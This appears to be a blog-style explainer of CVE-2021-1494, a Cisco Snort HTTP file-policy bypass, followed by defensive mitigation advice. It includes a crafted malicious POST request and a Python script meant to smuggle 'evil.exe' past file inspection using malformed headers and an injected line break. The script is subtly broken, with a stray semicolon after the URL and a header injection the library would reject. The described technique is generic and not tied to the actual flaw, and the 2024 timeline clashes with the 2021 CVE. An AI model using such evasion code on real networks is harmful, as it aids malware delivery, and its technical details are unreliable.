CVE-2021-1494 - Breaking Down Cisco’s Snort File Policy Bypass via Malicious HTTP Headers

In 2021, Cisco acknowledged a significant vulnerability in its products: CVE-2021-1494. This flaw hits at the heart of network defense—its Snort detection engine—specifically in how it inspects HTTP traffic. Put simply, attackers can bypass file filtering protections using sneaky HTTP requests, potentially letting malicious files through undetected.

This article unpacks CVE-2021-1494 in simple terms: what it is, how it works, how it can be exploited, and, most importantly, how defenders should respond.

What is CVE-2021-1494?

CVE-2021-1494 is a vulnerability in multiple Cisco products using the Snort intrusion detection and prevention engine. It allows remote attackers to evade file policy restrictions that should stop dangerous files from getting through.

- Affected devices: Cisco Firepower Threat Defense (FTD), Cisco Adaptive Security Appliance (ASA), and other products using Snort with file policies.

Vulnerability type: File Policy Bypass in HTTP Inspection

- CVE Page: CVE-2021-1494 on NIST
- Cisco Advisory: Cisco Security Advisory cisco-sa-snort-bypass-zmMNKed4

Root Cause: HTTP Headers Mishandled

The Snort HTTP preprocessor parses HTTP requests to apply file policies—blocking, allowing, or monitoring file transfers over HTTP. However, when certain HTTP header parameters are crafted in unexpected ways, Snort may incorrectly parse the request and fail to enforce file policies.

The common example involves manipulating headers such as Content-Disposition, Content-Type, or even splitting standard headers over multiple lines, violating RFC specs ever so slightly.

Here’s a basic representation

POST /upload HTTP/1.1
Host: target-app
Content-Type: text/plain; boundary="---123"
Content-Length: 12345
X-Evil-Header: ... ; some parameter=malicious

<malicious file payload here>

If the header X-Evil-Header is parsed wrongly—or boundary specifiers in Content-Type are formatted oddly—Snort may fail to detect actual files in the data, completely skipping file inspection.

The Attack

1. Finding a Target: The attacker identifies a gateway/firewall using a vulnerable Cisco product with a file policy (e.g., "block all EXE files over HTTP").
2. Crafting the HTTP Request: The attacker uses tools like curl, burp suite, or simple Python scripts to craft abnormal HTTP requests.
3. Smuggling the Malicious File: By manipulating HTTP headers (e.g., odd line breaks, nonstandard parameter order, invalid but "tolerant" syntax), they put the malicious payload in the POST body.
4. Evading Inspection: The vendor’s Snort engine, failing to correctly parse the HTTP request due to the nonstandard header, doesn’t apply the file policy and lets the bad file through.

Let’s see a Python snippet that abuses HTTP headers to evade file policies

import requests

malicious_payload = open('evil.exe', 'rb').read()
headers = {
    'Host': 'victim.com',
    'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryE19zNvXGzXaLvS5C;;param1="malicious"',
    # Deliberately misformatted headers:
    'Content-Disposition': 'attachment;filename="evil.exe"\r\nContent-Transfer-Encoding: binary',
}

response = requests.post(
    'http://victim.com/upload';,
    headers=headers,
    data=malicious_payload
)

if response.status_code == 200:
    print('Bypassed file policy and uploaded!')
else:
    print('Failed to upload.')

*Note: This code is for educational purposes only. Always have permission to test a system!*

Attackers may try different header combinations, weird parameter values, or even insert hidden line breaks to trip up the engine.

Why Does This Work?

The flaw lies in how Snort parses the HTTP protocol. It’s *tolerant* of bad client behavior—sometimes *too tolerant*. HTTP is flexible, but security engines can’t afford ambiguity. If a malicious HTTP request falls through the cracks of parsing logic, it never gets fully inspected.

Update Snort and Cisco devices using the latest firmware/patches

- Official Advisory with Patch info
2. Monitor logs for abnormal HTTP header usage (multi-line, weird boundary values, unexpected header order).
3. Tighten file policies—use strict "allow" lists, and consider blocking unneeded HTTP methods entirely.
4. Network Segmentation: Even if an attacker bypasses a device, additional controls can stop lateral movement.

Conclusion

CVE-2021-1494 is a reminder: *even the best defense can fail if it doesn’t carefully handle protocol edge-cases.* Cisco’s Snort engine failed to treat weird HTTP headers with enough suspicion, and attackers could walk right around its file filtering.

Patch, monitor, and configure securely. As attackers get more creative, defenders must keep up—not just with the rules, but with the wild world of "protocol abuse!"

Timeline

Published on: 11/15/2024 17:15:09 UTC
Last modified on: 11/18/2024 17:11:56 UTC